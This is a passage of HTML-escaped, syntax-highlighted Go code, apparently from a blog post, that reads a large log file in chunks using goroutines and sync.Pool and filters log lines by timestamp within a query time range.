&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">filestat&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Stat&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Could not able to get the file stat&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fileSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">filestat&lt;/span>.&lt;span style="color:#a6e22e">Size&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fileSize&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lastLineSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">ReadAt&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Error reading file &amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">char&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> string(&lt;span style="color:#a6e22e">b&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">char&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;\n&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span>&lt;span style="color:#f92672">--&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lastLineSize&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">n&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lastLine&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#a6e22e">lastLineSize&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">ReadAt&lt;/span>(&lt;span style="color:#a6e22e">lastLine&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Could not able to read last line with offset&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;and lastline size&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">lastLineSize&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logSlice&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">SplitN&lt;/span>(string(&lt;span style="color:#a6e22e">lastLine&lt;/span>), &lt;span style="color:#e6db74">&amp;#34;,&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">2&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logCreationTimeString&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">logSlice&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lastLogCreationTime&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Parse&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;2006-01-02T15:04:05.0000Z&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">logCreationTimeString&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;can not able to parse time : &amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">lastLogCreationTime&lt;/span>.&lt;span style="color:#a6e22e">After&lt;/span>(&lt;span style="color:#a6e22e">queryStartTime&lt;/span>) &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">lastLogCreationTime&lt;/span>.&lt;span style="color:#a6e22e">Before&lt;/span>(&lt;span style="color:#a6e22e">queryFinishTime&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Process&lt;/span>(&lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">queryStartTime&lt;/span>, &lt;span style="color:#a6e22e">queryFinishTime&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;\nTime taken - &amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Since&lt;/span>(&lt;span style="color:#a6e22e">s&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Process&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">File&lt;/span>, &lt;span style="color:#a6e22e">start&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Time&lt;/span>, &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Time&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">linesPool&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">Pool&lt;/span>{&lt;span style="color:#a6e22e">New&lt;/span>: &lt;span style="color:#66d9ef">func&lt;/span>() &lt;span style="color:#66d9ef">interface&lt;/span>{} {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lines&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">250&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">lines&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stringPool&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">Pool&lt;/span>{&lt;span style="color:#a6e22e">New&lt;/span>: &lt;span style="color:#66d9ef">func&lt;/span>() &lt;span style="color:#66d9ef">interface&lt;/span>{} {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lines&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">lines&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">WaitGroup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">linesPool&lt;/span>.&lt;span style="color:#a6e22e">Get&lt;/span>().([]&lt;span style="color:#66d9ef">byte&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> = &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nextUntillNewline&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">r&lt;/span>.&lt;span style="color:#a6e22e">ReadBytes&lt;/span>(&lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> = append(&lt;span style="color:#a6e22e">buf&lt;/span>, &lt;span style="color:#a6e22e">nextUntillNewline&lt;/span>&lt;span style="color:#f92672">...&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ProcessChunk&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>, &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">linesPool&lt;/span>, &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stringPool&lt;/span>, &lt;span style="color:#a6e22e">start&lt;/span>, &lt;span style="color:#a6e22e">end&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">ProcessChunk&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#a6e22e">linesPool&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">Pool&lt;/span>, &lt;span style="color:#a6e22e">stringPool&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">Pool&lt;/span>, &lt;span style="color:#a6e22e">start&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Time&lt;/span>, &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Time&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">wg2&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">WaitGroup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logs&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stringPool&lt;/span>.&lt;span style="color:#a6e22e">Get&lt;/span>().(&lt;span style="color:#66d9ef">string&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logs&lt;/span> = string(&lt;span style="color:#a6e22e">chunk&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">linesPool&lt;/span>.&lt;span style="color:#a6e22e">Put&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logsSlice&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">Split&lt;/span>(&lt;span style="color:#a6e22e">logs&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stringPool&lt;/span>.&lt;span style="color:#a6e22e">Put&lt;/span>(&lt;span style="color:#a6e22e">logs&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">300&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> len(&lt;span style="color:#a6e22e">logsSlice&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">noOfThread&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">n&lt;/span>&lt;span style="color:#f92672">%&lt;/span>&lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">noOfThread&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; (&lt;span style="color:#a6e22e">noOfThread&lt;/span>); &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg2&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>, &lt;span style="color:#a6e22e">e&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">wg2&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>() &lt;span style="color:#75715e">// to avaoid deadlocks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; &lt;span style="color:#a6e22e">e&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">text&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">logsSlice&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(&lt;span style="color:#a6e22e">text&lt;/span>) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logSlice&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">SplitN&lt;/span>(&lt;span style="color:#a6e22e">text&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;,&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">2&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logCreationTimeString&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">logSlice&lt;/span>[&lt;span style="color:#ae81ff">0&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logCreationTime&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">time&lt;/span>.&lt;span style="color:#a6e22e">Parse&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;2006-01-02T15:04:05.0000Z&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">logCreationTimeString&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;\n Could not able to parse the time :%s for log : %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">logCreationTimeString&lt;/span>, &lt;span style="color:#a6e22e">text&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">logCreationTime&lt;/span>.&lt;span style="color:#a6e22e">After&lt;/span>(&lt;span style="color:#a6e22e">start&lt;/span>) &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">logCreationTime&lt;/span>.&lt;span style="color:#a6e22e">Before&lt;/span>(&lt;span style="color:#a6e22e">end&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// fmt.Println(text)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
